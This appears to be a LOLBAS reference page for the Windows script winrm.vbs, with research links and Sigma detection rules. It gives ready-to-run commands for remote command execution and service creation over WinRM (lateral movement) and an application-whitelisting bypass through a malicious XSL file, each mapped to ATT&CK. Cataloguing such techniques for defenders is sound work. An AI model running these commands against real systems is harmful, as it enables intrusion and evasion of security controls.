



/winrm.vbs

☆ Star 7,060

Execute AWL bypass

Script used for manage Windows RM settings

Paths:

C:\Windows\System32\winrm.vbs
C:\Windows\SysWOW64\winrm.vbs

Resources:

- <https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology>
- <https://www.youtube.com/watch?v=3gz1QmiMhss>
- <https://github.com/enigma0x3/windows-operating-system-archaeology>
- <https://redcanary.com/blog/lateral-movement-winrm-wmi/>
- <https://twitter.com/bohops/status/994405551751815170>
- <https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404>
- <https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf>

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Detections:

- Sigma: [proc_creation_win_winrm_awl_bypass.yml](#)
- Sigma: [proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml](#)
- Sigma: [file_event_win_winrm_awl_bypass.yml](#)
- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>

Execute

- Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

```
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985
```

Use case: Proxy execution
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: [T1216: System Script Proxy Execution](#)

- Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

```
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
```

Use case: Proxy execution
Privileges required: Admin
Operating systems: Windows 10, Windows 11
ATT&CK® technique: [T1216: System Script Proxy Execution](#)

AWL bypass

Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

```
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
```

Use case: Execute arbitrary, unsigned code via XSL script
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: [T1220: XSL Script Processing](#)